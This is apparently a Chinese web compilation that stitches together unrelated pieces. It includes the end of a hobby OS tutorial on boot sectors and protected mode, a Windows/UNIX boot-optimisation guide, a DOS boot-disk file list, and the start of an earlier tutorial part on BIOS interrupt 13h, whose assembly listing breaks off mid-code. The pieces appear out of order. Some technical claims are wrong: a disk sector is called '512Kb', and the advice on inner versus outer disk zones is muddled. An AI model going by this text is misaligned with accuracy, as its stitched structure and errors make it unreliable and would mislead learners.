<BR><BR><BR><BR>把上面的代码存在一个名为abc.asm的文件之中，使用命令nasm abc.asm，将得出一个名为abc的文件。然后插入软盘，输入命令：dd if=abc of=/dev/fd0。该命令将把文件abc写入到软盘的第一扇区之中。然后重新启动系统，就会看到如下的信息： <BR><BR>*Our os booting................ <BR>* A (棕色) <BR>* Switching to protected mode.... <BR>* A (白色) <BR><BR><BR><BR><BR>对代码的解释 <BR><BR><BR>上面给出了所有的代码，下面我对上述代码做一些解释。 <BR><BR>◆ 使用的函数 <BR><BR>下面是代码中一些函数的说明： <BR><BR>print_mesg 该子程序使用了BIOS中断10h的功能13h，即向屏幕写一字符串。属性控制是通过向一些寄存器中送入不同的值来实现的。中断10h是用于各种字符串操作，我们把子功能号13h送到ah中，用于指明要打印一个字符串。al寄存器中的0说明了光标返回的起始位置，0表示调用函数后光标返回到下一行的行首。如果al为1则表示光标位于最后一个字符处。 <BR><BR>显存被分成了几页，在同一时刻只能显示其中的一页。bh指明的是页号；bl则指明要显示字符的颜色；cx指明要显示字符串的长度；dx指明光标的位置(即起始的行和列)。所有相关寄存器初始化完成以后，就可以调用BIOS中断10h了。 <BR><BR>get_key 使用中断16h的子功能00h，从屏幕得到下一个字符。 <BR><BR>clrscr 该函数使用了中断10h的另外一个子功能06h，用于输出开始前清屏。初始化时给al中送入0。寄存器cx和dx指明要清屏的屏幕范围，在本例中是整个屏幕。寄存器bh指明屏幕填充的颜色，在本例中是黑色。 <BR><BR>◆ 其它内容 <BR><BR>程序一开始是一条短跳转指令，跳到begin_boot处。在实模式下，在此打印一个棕色的“A”，并且设置一个GDT。切换到保护模式，并且打印一个白色的“A”。这两种模式使用的都是自己的寻址方法。 <BR><BR>在实模式下，使用段寄存器gs指示显存位置，我们使用的是CGA显卡(默认基址是0xb8000)。在代码中是不是漏了一个0呢？没有，因为实模式下会提供一个附加的0。这种方式也被80386继承下来了。A的ASCⅡ是0x41，0x06指明了需要一个棕色的字符。该显示会一直持续直至按下任意键。下面要在屏幕上显示一句话，告诉使用者下面马上要进入保护模式了。 <BR><BR>启动到保护模式，在进行切换时不希望此时有中断的影响，故要关闭所有的中断(使用cli来实现)。然后对GDT初始化。在整个切换过程中，对4个描述符进行了初始化。这些描述符对代码段(code_gdt)、数据和堆栈段(data_gdt)，以及为了访问显存而对显示段进行初始化。此外，还会对一个空描述符进行初始化。 <BR><BR>GDT的基址要加载至GDTR系统寄存器之中。gdtr段的第一个字加载的是GDT的大小，在下一个双字中则加载的是基址。然后，lgdt指令把把gdt段加载至GDTR寄存器中。现在已经做好了切换到保护模式前的所有准备。最后一件事情就是把CR0寄存器的PE位置1。不过，即使这样还没有处于保护模式状态之下。 <BR><BR>设置了PE位以后，还需要通过执行JMP指令来清除处理器指令预取队列。在80386中，使用指令前总是先将其从内存中取出，并且进行解码和寻址。然而，当进入保护模式以后，预取指令信息(它还处于实地址模式)就无效了。使用JMP指令的目的就是强迫处理器放弃无效的信息。 <BR><BR>现在，已经在保护模式下了。那么，如何检测是在保护模式状态之下呢？让我们来看一看屏幕上这个白色的字母A。在这里，使用了数据段选择符(datase1)对数据段和附加段进行了初始化，使用显示段选择符(videose1)对gs进行了初始化。告示的字符“A”其ASCⅡ值和属性位于[gs:0000]处，也就是b8000:0000处。循环语句使得该字符一直在屏幕上显示，直至重新启动系统。 <BR><BR><BR>下一步要做的事 <BR><BR><BR>现在，这个操作系统已经工作在保护模式下了，但是实际上它并不实现什么具体的功能。你可以在这个基础上为它增加各种操作系统所具有的功能。我们自己动手写操作系统到此也就告一段落。<BR><BR>任何技术，只要掌握了方法则都能举一反三，“师傅领进门，修行在个人”。天极网上关于系统优化的文章相当多，但这次讲的内容和其它优化文章比起来,还是有较大的不同。各位如果在阅读下面的内容时，遇到技术疑难，都可以在天极网的操作系统栏目的相关文章中寻找到答案——学会查询资料，也是提高的必要技巧之一呢。<BR><BR>　　一个操作系统，必定是建立在硬件基础上的。而硬件，则可大致分为CPU、主板、内存、外存几个部分。关于CPU超频、内存在BIOS中的设置，开启硬盘的DMA66支持等等的介绍已经相当多，在此我就不赘述了。<BR><BR>　　一个操作系统的使用，依次会涉及到硬盘引导、操作系统引导、载入基本操作系统、定义临时目录、定义虚拟内存盘、载入系统服务、载入自定义服务、定义GUI这几个步骤，这是不管Windows、Linux还是Freebsd等操作系统都是如此。也就是说，我们如果能尽量优化上面每个步骤，则就能把系统的性能提升起来。接下来，就让我们一起把每个步骤做到最优。<BR><BR>　　1、硬盘引导<BR><BR>　　从硬盘的0磁道开始的第一个扇区处读取信息，以载入操作系统引导程序，在这一步上，由于系统能读取的只是一个扇区的数据资料，只有512Kb，因此不能直接将操作系统的引导程序放入其中，而只能读入一个很小巧的程序，再由那个程序来引导操作系统，以Windows为例，在这一步被读入的是IO.SYS和MSDOS.SYS(安装了Win98后有这个)。由于一般来说这个程序都是由各个基础操作系统所默认的，因此一般没有办法进行自定义优化。不过值得一提的是如果使用的是Windows98系统，那么通过定制MSDOS.SYS文件，可以在速度上达到一定的提高，让我们打开瞧瞧：<BR><BR>　　[Paths]<BR><BR>　　WinDir=C:\Windows；Windows所在的目录<BR><BR>　　WinBootDir=C:\Windows&nbsp;;引导目录<BR><BR>　　HostWinBootDrv=C&nbsp;;引导盘(建议这三个别改动)<BR><BR>　　[Options]<BR><BR>　　BootMulti=1；是否按f8出菜单，以及是否f4/f2快捷功能菜单有效，值得注意，美萍等管理软件之所以能屏蔽启机时候按f8/f4/f2无效果就是在这里动的手脚<BR><BR>　　BootGUI=1；是否图形引导<BR><BR>　　DoubleBuffer=1；双倍缓冲，建议设置为1<BR><BR>　　AutoScan=1；是否每次启机检查硬盘，这对非法关机后修复磁盘很有帮助，不过如果对自己的Win98很有信心，不妨设置成0<BR><BR>　　WinVer=4.10.2222；Windows的版本号<BR><BR>　　BootWin=1；以Windows方式引导<BR><BR>　　DrvSpace=1；(这个选项功能不明)<BR><BR>　　DblSpace=1；这个选项功能不明)<BR><BR>　　LOGO=1；是否显示开机画面，事实上Windows的启机画面载入大概会花费1秒左右的时间，既然我们想优化，那么就设置成0吧<BR><BR>　　BootDelay=0；引导延迟，设置成0最快<BR><BR>　　DisableLog=0；不记录引导时候的log，如果追求速度，可以设置成1<BR><BR>　　2、操作系统引导<BR><BR>　　Windows2000/XP的Boot、Linux和Freebsd的LILO、Grub都是非常出色的操作系统引导程序。如果想优化，就把自己最常使用的操作系统设置为默认项目，并将默认的启动时间修改为1秒。以Windows2k/xp为例，可以用记事本等文字编辑工具打开系统盘根目录下的boot.ini文件(注意，这个文件本身是系统+隐藏属性)，其中有一行为timeout=xx，其中这里的xx，就是系统在引导系统时候的等待时间。为了达到减少时间的目的，我们可以写成timeout=1，注意别写timeout=0，这表示无限等待，直到用户手工选定了为止。同样的，在grub中有一个menu.lst文件，其中的timeout参数的值与上面提到的Windows系统中boot.ini的timeout参数作用、设置方法上完全一样(这也是天缘提倡地学好一个操作系统贵在了解其原理和工作流程，自然就会一通百通的道理。)<BR><BR>　　3、载入基本操作系统<BR><BR>　　这一部分中，操作系统将自身的程序、连接文件载入，由于载入的是基本文件，在Windows中就是Windows的内核，而在UNIX中，则可以把这步理解为内核的载入。由于Windows的内核是保密的，因此没有办法擅自修改，而在UNIX中，则可以利用重新生成内核的命令，尝试去掉自己不需要的驱动、设备支持和功能来缩减内核的功能并减少启动时间。这也就是为什么人们很看好Linux在嵌入式行业发展的原因——由于内核完全可以定制，所以可以只保留需要的功能，整个内核可以做得非常小巧。Ok，回过来，因为内核程序速度非常快，所需要的时间本身就很少，而关于定制Linux的内核，可以参考天极网的相关文章。各位朋友切记一点：“由于操作系统所在的分区本身就时常进行读写操作，因此最好为操作系统单独划分一个分区，而把临时目录、暂存盘、文件、游戏、备份等放到其他分区去。”这一点是我们进行下面的优化步骤的大前提，以下我们的几步操作，都是以此为大前提来进行的。<BR><BR>　　4、定义临时目录<BR><BR>　　由于操作系统在执行一些烦琐的运算、解压缩文件的时候，都是先将文件临时放在某个目录下，在任务执行完后再删除。Windows下默认是放在操作系统下的temp目录中，UNIX下默认是放在/tmp中。如果我们能想办法提高其读写速度，则就能在这步中达到优化的效果。由于硬盘的物理形态因素，导致硬盘在内区读写速度会比外区更快一些，因此考虑将临时目录放在靠近磁盘内区物理位置的地方。在Windows、UNIX等大多数操作系统情况下，都是越分在前面的分区越靠近内区，越分在后面的分区越靠近外区。UNIX下可在划分了/boot后，马上划分/tmp分区；在Windows下由于根据第3条中提到的尽量减少操作系统所在分区的读写操作，因此我们将临时目录建在D盘，针对Win9x和2000的方法略有出入：<BR><BR>　　Win9x:<BR><BR>　　1.在D盘下新建立一个目录temp;<BR><BR>　　2.用记事本打开c:\autoexec.bat(如没有，可自行建立一个)，输入以下两行；<BR><BR>　　@set&nbsp;temp=d:\temp<BR><BR>　　@&nbsp;set&nbsp;tmp=d:\temp<BR><BR>　　Win2000/XP:<BR><BR>　　1.在D盘下新建立一个目录temp;<BR><BR>　　2.打开“控制面板”——“属性”——“高级”；<BR><BR>　　3.在“系统变量”这里，将temp和tmp的值，都改为d:\temp;<BR><BR>　　好了，重新启机之后，就生效了。不过由于Windows仍然有某些程序的默认临时目录不是我们所指定的temp目录，所以还需要手工指定一下。以IE为例：“工具”——“Internet选项”——“Internet临时文件”这里的“设置”——“移动文件夹”，将临时目录指定成我们的d:\temp就行了。<BR><BR>　　值得一提的是，不管是Windows也好，UNIX也好，相当一部分用了临时文件后没有清除它，因此可以定期每周把d:\temp清空。在UNIX下对于这样的定期命令可以通过cron来完成。<BR><BR>　　5、定义虚拟内存盘<BR><BR>　　我们的操作系统在调用程序，相关的资源文件的时候，都需要将程序由速度较慢的外存，调用到速度较快的内存中之后再进行操作。由于外存的价格相对内存为低，因此大多数用户在内存不够充裕的条件下，一般会选择用外存硬盘来虚拟内存使用。需要说明的是，这只是在技术上的虚拟内存，并不能真正使这部分硬盘的读写速度有任何提升。因此在资金允许的情况下，建议用户能够升级到512M内存为比较适合。天缘常常见到很多用户盲目追求高速cpu，而忽略了对内存的需求。事实上只有类似Photoshop、3D&nbsp;MAX、WinAMP等需要即时演算、解码操作(图形类的渲染大多可以通过显卡来完成来减轻cpu负担)，大多数常用的办公软件、第三方工具其实对CPU并没有很大的消耗，而是需要大量高速内存的支持。按照我们上一步中的知识，自然虚拟内存盘的读写速度也应该是越快越好了？所以很多书上在介绍unux安装的时候，会建议swap分区靠前；而Windows下，我们则可以指定把虚拟目录放到d盘下去。同样，针对Win9x和Win2k/xp有两种方式来完成。<BR><BR>　　Win&nbsp;9x:&nbsp;<BR><BR>　　1.打开“控制面板”——“属性”——“性能”——“虚拟内存”；<BR><BR>　　2.将虚拟内存指定为自定义，选择d盘；<BR><BR>　　3.重新启动计算机；<BR><BR>　　Win&nbsp;2k:<BR><BR>　　1.打开“控制面板”——“属性”——“高级”——“性能选项”；<BR><BR>　　2.在这里，如果您的机器是自己用，就选“应用程序”，如果是提供Ftp或者Web服务，就选择“后台服务”。(由此可见，微软是为了节约开发成本，将Win2k的pro/server/advance&nbsp;server三种版本用同样的构架搭建出来的)<BR><BR>　　3.选中“虚拟内存”这里的“更改”<BR><BR>　　4.将c盘的虚拟内存去掉，将d盘的虚拟内存根据需要进行适当设置；<BR><BR>　　5.重新启动计算机；<BR><BR>　　恩，经过这么一来。当计算机发现内存不够的时候，就会在d盘下建立虚拟磁盘来模拟内存使用了。虚拟出来的内存是一个在Win9x下名为Win386.swp，Win2k下名为pagefile.sys的文件。别忘记将原来的c盘下的同名文件删除，以增加c盘的可用空间哟。当然，硬盘的读写速度是远远不及内存的，因此这只是权宜之计，添置更多的物理内存才是正解。<BR><BR>　　6、载入系统服务<BR><BR>　　在这一步中，系统将会载入基本的服务。例如Win2k下的“控制面版”——“控制工具”——“服务”中的项目；UNIX下也类似。在这里，一般来说我们不能对服务的内部进行改造以增加效率，但是我们只选择需要的服务，而关闭不必要的服务。在这里，个人用户和服务器管理员都要记住的一条定律会起作用“可开可不开的一定不开，可用可不用的一定不用”，这样不但会减少系统的启动时间、增加系统的可用内存、并且也尽量地避免了安全漏洞。记得前辈曾经指点过我：“服务器提供的服务越多，则可能存在的漏洞也越多，越容易被攻击”。但是不管在w2k还是在UNIX中，默认打开的一些服务是我们所不需要的，甚至是危险的。以Win2k为例，“远程控制注册表”、“dhcp服务器”等等这些功能居然都是默认开着的，而UNIX下的不少操作系统默认时候“sendmail”、“smaba”也是开着的。<BR><BR>　　所以，根据自己的选择，恰当的选择必要的服务。这一步会相当消耗时间，而且也会遇到对某些服务的疑问，但性能的提升也具有最大潜力。值得一提的是，一些后台运行的程序也将自己添加到其中，常见的例如杀毒软件，以及令人讨厌的冲击波病毒。关于详细的介绍，天极网上介绍操作系统的一些文章中都有详细描述，我在这里一一写出，就有骗稿费的嫌疑了。<BR><BR>　　7、载入自定义服务<BR><BR>　　之所以要把这一步与上面的一步分开，一来是因为他们存放的启动文件位置有差异，二来有的系统服务是必须启动的，如果不启动则连操作系统也无法按照常规方式运行起来。例如Win2k服务中的“Logical&nbsp;Disk&nbsp;Manager(逻辑磁盘管理器监视狗服务)”就是专门对硬盘进行管理的。自定义的服务项目，在Windows中，存在注册表的run系列键中(Software\Microsoft\Windows\CurrentVersion\Run、Software\Microsoft\Windows\CurrentVersion\Runonce、SOFTWARE\Microsoft\Windows\CurrentVersion\Run、SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce、SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx、SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices)；而在UNIX则是用特定位置的文本文件来保存，例如redhat下是/etc/rc.local文件，一行一条shell命令，非常简单明了。一般来说，这一部分的服务即使全部去掉，也不会影响系统的启动，但有的操作系统“原装”服务可以令我们使用的时候更得心应手。同时在这里，也是很多Windows木马藏身的地方。<BR><BR>　　在自定义服务中，可以将自己不需要，或者很少用到的一些服务去掉(例如天缘就把音量调节的服务去掉了，因为我从来都喜欢直接摆弄音响)；也可以把自己每次启动系统都要运行的一些程序加入进去(例如天缘在Linux下的fvwm启动就加在/etc/rc.local中)。合理的使用它，选择恰当的程序去掉无用的程序，也可以达到相当好的性能优化目的。顺便为Windows的朋友们推荐一个我很喜欢的注册表编辑工具，名字是RegHance，非常简单方便。<BR><BR>　　8、定义GUI<BR><BR>　　在这里，为什么特别提到GUI呢？Windows的用户可能比较有疑惑，因为Windows的图形界面是嵌入内核的，不过在UNIX下则是独立的。在这一部分上，由于操作系统的独立性，因此要详细地讲解不大可能。我只给出一个思路：“尽量缩减无用的资源消耗”。例如：控制GUI的加载字体数量。事实的确如此，任何载入的资源都会消耗掉系统的内存，由于中文的特殊性(文字众多，非字母组合)，导致一个中文字库比一个英文字库大上很多，自然消耗的内存也大了很多(现在明白了为什么传呼机、手机、嵌入系统等等rom/ram受限的场合一般采用英语了吧？因为它总共就26个字母，在这点上，的确比汉字具有优越性。同样的道理从我们所用的键盘也能体现出来)。<BR><BR>　　天缘认识几个从事艺术行业的朋友，经常习惯将用到的字体都放在Font目录中，其实这样在每次启动的时候都会载入到内存中(顺便一提，我们曾经试过，Win98下Font目录Copy字体到400m左右就无法再增加了)会严重地影响到启动速度。值得采纳的做法是将一些不常用的字体Copy到其他目录中备用，在需要的时候再调入到Font目录中，然后重新计算机就可以了。虽然的确是烦琐了一点，不过在有钱购买1G的内存前，节约几百M的内存也是很有必要的。类似的道理，UNIX管理员都知道在服务器上不需要跑xWindows就不要跑的道理。以上的小例子希望可以帮助大家开动自己的脑筋，好好想想其他值得优化的地方。<BR><BR>　　当文章写到这里，已是接近尾声。油然想起当我告诉原野编辑我要写操作系统优化的时候他对我说的：“介绍系统优化的文章已经很多了呀。”这句略带警醒的话。是的，Windows平台下、UNIX平台下介绍系统优化的文章数不胜数；“超级兔子”、“优化大师”、“webmin”这些优秀的系统设置/优化工具不断更新。但正如“鞋子只有自己买的才最合脚”这个道理一样，天缘尝试将自己优化系统的心得总结与大家分享。IT行业日新月异，新的操作系统层出不穷，掌握了一个优化软件，或许在新的操作系统面前依然束手无策。学习学习，不在于学其形，贵在学其神。明白了操作系统优化的原理，依照着以上的8个环节，针对自己的机器情况进行思考分析，那么即使面对的是一个全新的操作系统，也能很快地将其优化，提高自己工作、学习、娱乐的效率。中国人的习俗，春节吃鱼代表“年年有余”。而授人予鱼不如授人以渔，希望这篇小文能帮助大家把自己爱机的潜力充分发挥到极致。&nbsp;<BR>主要特点: <BR>---------- <BR>多配置启动菜单 <BR>全面的支持中英文长文件名 <BR>支持NTFS驱动器 <BR>各种光驱支持 <BR>RAMDISK 虚拟磁盘 <BR>中文汉字操作系统 <BR>方便的文件管理 <BR>较强通用性和稳定性 <BR>许多实用的小工具 <BR><BR>--------- <BR>已写文件列表 <BR>--------- <BR>aspi2dos.sys 18,802 实模式的 Adaptec CD-ROM 驱动程序 <BR>aspi4dos.sys 8,913 实模式的 Adaptec CD-ROM 驱动程序 <BR>aspi8dos.sys 22,077 实模式的 Adaptec CD-ROM 驱动程序 <BR>aspi8u2.sys 24,001 实模式的 Adaptec CD-ROM 驱动程序 <BR>aspicd.sys 10,002 实模式的 Adaptec CD-ROM 驱动程序 <BR>ASPIDISK.SYS 6,499 SCSI驱动器驱动程序 <BR>ASPIOHCI.SYS 16,001 Iomega公司出的OHCI接口的USB驱动器的驱动程序 <BR>ASPIUHCI.SYS 16,624 Iomega公司出的UHCI接口的USB驱动器的驱动程序 <BR>Attrib.com 5,277 XATTRIB.COM查看、设置文件/目录属性 <BR>AUTOEXEC.BAT 3,991 自动批处理文件 <BR>CABFIND.COM 2,609 在CAB包中搜索文件的工具 <BR>CCD.EXE 1,110 目录快速转换工具 <BR>Cdrom.bat 2,133 安装通用光驱驱动程序 <BR>Choice.com 510 选择命令，返回按键的ERRORLEVEL值 <BR>Cmos.com 630 清除/保存COMOS信息 <BR>Command.com 94,292 MS-DOS 7.1 命令解释程序 <BR>Config.sys 2,523 启动配置文件,加载设备驱动程序 <BR>CP936UNI.TBL 15,505 DOSLFN 0.32n 简体中文代码页 <BR>CtMouse.exe 4,898 鼠标驱动程序CTMOUSE v1.9，可驱动COM和PS2口鼠标 <BR>Debug.com 14,593 V0.95c 程序调试命令 <BR>Deltree.com 3,069 V1.2c 删除整个目录，从FREEDOS中补充的外部命令 <BR>DI1000DD.SYS 8,483 Motto Hairu中的USB硬盘的驱动程序 <BR>Doskey.com 4,640 V1.5 命令行记忆程序,Tab/Shift+Tab 选择文件或目录 <BR>Doslfn.com 11,020 V0.32n,DOS中文/英文长文件名驱动程序 <BR>DOSVER.COM 2,156 V2.11 实用的设置DOS版本号的工具 <BR>DRVLOAD.COM 1,716 加载驱动程序的工具 <BR>Ebd98.cab 159,944 包含实用程序的 Cab压缩包 <BR>ECHO.SYS 194 在CONFIG.SYS中显示字符文字的程序 <BR>Edit.exe 46,338 V2.0.026 全屏幕文本编辑器,可以编辑二进制文件 <BR>EDIT.HLP 1,971 EDIT的帮助文件 <BR>escape.exe 1,087 在任何时候都可以按F12键退回到DOS方式下，以防止死机 <BR>Extract.exe 49,133 解压CAB压缩包 <BR>Fdisk.exe 66,937 SPFDisk V2000-03kc 分区及启动管理(Boot Manager)程序 <BR>FINDCD.EXE 3,128 最好用的光驱查找工具 (作者: Wengier). <BR>Findramd.exe 2,464 查找虚拟盘的工具 <BR>Himem.sys 10,306 XMS 内存管理程序 <BR>Ifshlp.sys 2,784 增强的文件管理驱动程序,支持WIN的VFAT系统(Windows必需) <BR>Io.sys 213,977 系统引导文件 <BR>Killer.exe 2,435 killr100可以自动截获非法指令,防止死机 <BR>Key.com 977 KPUSH.COM V2.0 键盘ASCII表查询及清理工具 <BR>LFNXLAT.386 867 为DOSLFN长文件名驱动程序提供Win 3.x下的长文件名支持 <BR>Low.exe 29,491 硬盘低级格式化程序 <BR>LOWDMA.SYS 662 提供软盘的ISA DMA UMB支持 <BR>MCD.BAT 180 建立多层目录 <BR>More.com 1,295 小巧的分屏显示工具 <BR>mousclip.exe 4,456 V1.10 很实用的在DOS下用鼠标复制/粘帖的工具 <BR>Msdos.sys 122 引导选项信息（路径、多层引导等等） <BR>Msdos.sy_ 1,661 win98系统启动配置文件msdos.sys备份. <BR>Ne.exe 36,148 V1.24.2! 仿照PCTOOLS5的文件管理工具,十六进制编器. <BR>Nset.com 974 从输出中取得变量以设置,FINDCD -a|NSET CDROM=$1 <BR>NTFSDOS.EXE 26,507 V3.02R DOS的NTFS驱动程序 <BR>Off.com 451 Shutdown 非常好的命令行ATX电源重新启动/软关机程序 <BR>QF.EXE 23,313 FDISK和FORMAT加速，可节省时间 <BR>readme.txt 6,077 本说明文件 <BR>Reboot.com 16 重新启动计算机 <BR>RESET.COM 588 重新启动DOS系统 <BR>Shsucdx.exe 6,800 v1.4b 光驱驱动程序,可取代MSCDEX <BR>Sm.exe 13,272 磁盘缓冲工具SMARTDRV <BR>SORT.COM 1,630 小巧的排序工具 <BR>SRCBOOT.COM 2,590 保存/恢复/比较磁盘的启动扇区的小工具 <BR>SRCFAT.COM 2,715 保存/恢复/比较磁盘的文件分配表（FAT）的小工具 <BR>SRCMBR.COM 2,516 保存/恢复/比较磁盘的主引导记录（MBR）的小工具 <BR>SUBST.COM 1,469 小巧的设置虚拟驱动器的程序 <BR>Sys.com 9,321 DOS系统文件传输程序 <BR>tw.bat 1,241 启动天汇中文DOS汉字系统 <BR>Tway.cab 253,936 天汇3.1中文DOS汉字操作系统压缩包 <BR>Umbpci.sys 5,684 v3.45,很有用的UMB驱动程序,可以提供高达160多K的UMB <BR>USBASPI.SYS 15,480 Motto Hairu中的USB驱动程序 <BR>USBCD.SYS 5,509 Motto Hairu中的USB/SCSI光驱的驱动程序 <BR>Vc.bat 446 启动DOS下的文件管理器Volkov Commander的启动程序 <BR>Vc.cab 80,260 V4.99.08 很实用的文件管理器,支持FAT32和长文件名 <BR>Vers.com 1,500 修改DOS版本号工具 <BR>Vide-cdd.sys 6,192 ATAPI CD-ROM 驱动器的通用设备驱动程序，占用内存只有5K <BR>Xcopy.exe 16,442 V1.1 加强的COPY命令，可复制整个目录 <BR>xdel.exe 1,651 删除文件和目录树，谨用！ <BR>XFIND.COM 1,992 在文件中查找字符的工具 <BR>XMSDSK.EXE 11,627 V1.9i 虚拟存盘工具，占很少的内存 <BR>xren.com 128 文件或目录改名 <BR><BR>78 file(s) 1,224,004 bytes <BR><BR>------------------ <BR>EBD98.CAB中的文件 <BR>------------------ <BR>format.bat 550 21:41 磁盘格式化 <BR>Format98.com 49,655 6:22 磁盘格式化工具(WIN98) <BR>Mem.exe 32,306 22:22 内存查看工具(WIN98) <BR>Scandisk.exe 245,924 18:54 磁盘扫描程序(WINME) <BR>Scandisk.ini 7,329 17:00 磁盘扫描程序配置文件 <BR><BR>----------------- <BR>TWAY.CAB中的文件 <BR>----------------- <BR>Key.com 12,712 加载中文输入法 <BR>quit.com 7 系统退出程序(兼容UCDOS, TWAY系统) <BR>Qw.exe 5,632 区位码查看程序 <BR>Tw.bat 730 启动天汇汉字系统 <BR>tway.exe 204,531 系统主程序 <BR>Tway.ini 6,599 TWAY 3.1 系统初始化配置文件 <BR><BR>DataPY.MB 24,238 拼音、双拼输入法 <BR>DataPY000.DT 12,008 拼音自造词编码文件(系统自动生成) <BR>DataWB.MB 33,136 五笔输入法 <BR>DataWB000.DT 12,008 拼音自造词编码文件(系统自动生成) <BR><BR>---------------- <BR>FINDCD使用说明 *****以下内容已做更正，感谢Wengier指出***** <BR>---------------- <BR>FINDCD 0: 设置光驱数目; <BR>FINDCD 2: 设置第2个光驱的盘符;不加参数则设置第1个光驱的盘符; <BR>FINDCD /N：只在屏幕上显示，而不设置环境变量； <BR>FINDCD /Q：不在屏幕上显示，而只设置环境变量； <BR>FINDCD /S：全部设置模式 <BR>FINDCD /?：帮助； <BR><BR>========== <BR>工具下载： <BR>1、UMBPCI.SYS v3.45 ： <BR>http://www.uwe-sieber.de/files/umbpci_e.zip <BR>2、NE.EXE V1.24.2!: <BR>http://member.netease.com/~lihailin/(推荐) <BR>3、Doslfn.com V0.32n : <BR>http://www-user.tu-chemnitz.de/~heha/hs_freeware/doslfn.zip <BR><BR><A href="http://developer.ccidnet.com/pub/disp/Article?columnID=302&amp;articleID=27272&amp;pageNO=1" target=_blank>上一期</A>，我讲述了如何在软盘的启动扇区写一些代码，然后再从软盘启动的过程。制作好一个启动扇区，在切换到保护模式之前，我们还应该知道如何使用BIOS中断。BIOS中断是一些由BIOS提供的、为了使操作系统的创建更容易的低级程序。在本文中，我们将学习处理BIOS的中断。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>为什么要用BIOS</STRONG></FONT></CENTER><BR><BR>BIOS会把启动扇区拷贝至RAM中，并且执行这些代码。除此之外，BIOS还要做很多其它的事情。当一个操作系统刚开始启动时，系统中并没有显卡驱动、软盘驱动等任何驱动程序。因此，启动扇区中不可能包含任何一个驱动程序，我们要采取其它的途径。这个时候，BIOS就可以帮助我们了。BIOS中包含有各种可以使用的程序，包括检测安装的设备、控制打印机、计算内存大小等用于各种目的的程序。这些程序就是所说的BIOS中断。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>如何调用BIOS中断</STRONG></FONT></CENTER><BR><BR>在一般的程序设计语言中，函数的调用是一件非常容易的事情。比如在C语言中，如果有一个名为display的程序，它带有两个参数，其中参数noofchar表示显示的字符数，参数attr表示显示字符的属性。那么要调用它，只需给出程序的名称即可。对于中断的调用，我们使用的是汇编语言中的int指令。 <BR><BR>比如，在C语言中要显示一些东西时，使用的指令如下所示： <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>display(nofchar，attr)；</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>而使用BIOS时，要实现相同功能使用的指令如下： <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>int 0x10</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>
<CENTER><FONT color=#000099><STRONG>如何传递参数</STRONG></FONT></CENTER><BR><BR>在调用BIOS中断之前，我们需要先往寄存器中送一些特定的值。假设要使用BIOS的中断13h，该中断的功能是把数据从软盘传送至内存之中。在调用该中断之前，要先指定拷贝数据的段地址，指定驱动器号、磁道号、扇区号，以及要传送的扇区数等等。然后，就要往相应的寄存器送入相应的值。在进行下面的步骤前，读者有必要对这一点有比较明确地认识。 <BR><BR>此外，一个比较重要的事实是同一个中断往往可以实现各种不同的功能。中断所实现的确切功能取决于所选择的功能号，功能号一般都存在ah寄存器之中。比如中断13h可以用于读磁盘、写磁盘等功能，如果把3送入ah寄存器中，那么中断选择的功能就是写磁盘；如果把2送入ah寄存器中，选择的功能则是读磁盘等。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>我们要做的事情</STRONG></FONT></CENTER><BR><BR>这次我们的源代码由两个汇编语言程序和一个C程序组成。第一个汇编文件是引导扇区的代码。在引导扇区中，我们写的代码是要把软盘中第二扇区拷贝至内存段的0x500处(地址是0x5000，即偏移地址为0)。这时我们需要使用BIOS的中断13h。这时启动扇区的代码就会把控制权转移至0x500处。在第二个汇编文件中，代码会使用BIOS中断10h在屏幕上显示一个信息。C程序实现的功能则是把可执行的文件1拷贝至启动扇区，把可执行的文件2拷贝至软盘的第二扇区。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>启动扇区代码</STRONG></FONT></CENTER><BR><BR>使用中断13h，启动扇区把软盘第二扇区里的内容加载至内存的0x5000处(段地址为0x500)。下面的代码是用于实现这一目的的代码，将其保存至文件sbect.s中。 <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>LOC1=0x500
entry start
start:
  mov ax,#LOC1
  mov es,ax
  mov bx,#0 
  mov dl,#0 
  mov dh,#0 
  mov ch,#0 
  mov cl,#2 
  mov al,#1 
  mov ah,#2 
  int 0x13
  jmpi 0,#LOC1</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>上面代码第一行类似于一个宏。接下去的两行则是把值0x500加载至es寄存器中，这是软盘上第二扇区代码将拷贝到的地方(第一扇区是启动扇区)。这时，把段内的偏移设为0。 <BR><BR>接下来把驱动器号送入dl寄存器中，其中磁头号送入dl寄存器中，磁道号送入ch寄存器中，扇区号送入cl寄存器中，扇区数送入al寄存器之中。我们想要实现的功能是把扇区2、磁道号为0、驱动器号为0的内容送至段地址0x500处。所有这些参数都和1.44MB的软盘相对应。 <BR><BR>把2送入ah寄存器中，是选择了由中断13h提供的相应功能，即实现从软驱转移数据的功能。 <BR><BR>最后调用中断13h，并且转至偏移为0的段地址0x500处。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>第二个扇区的代码</STRONG></FONT></CENTER><BR><BR>第二个扇区中的代码如下所示(把这些代码保存至文件sbect2.s之中)： <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>entry start
start:
  mov     ah,#0x03                
  xor     bh,bh
  int     0x10

  mov     cx,#26                  
  mov     bx,#0x0007              
  mov     bp,#mymsg
  mov     ax,#0x1301              
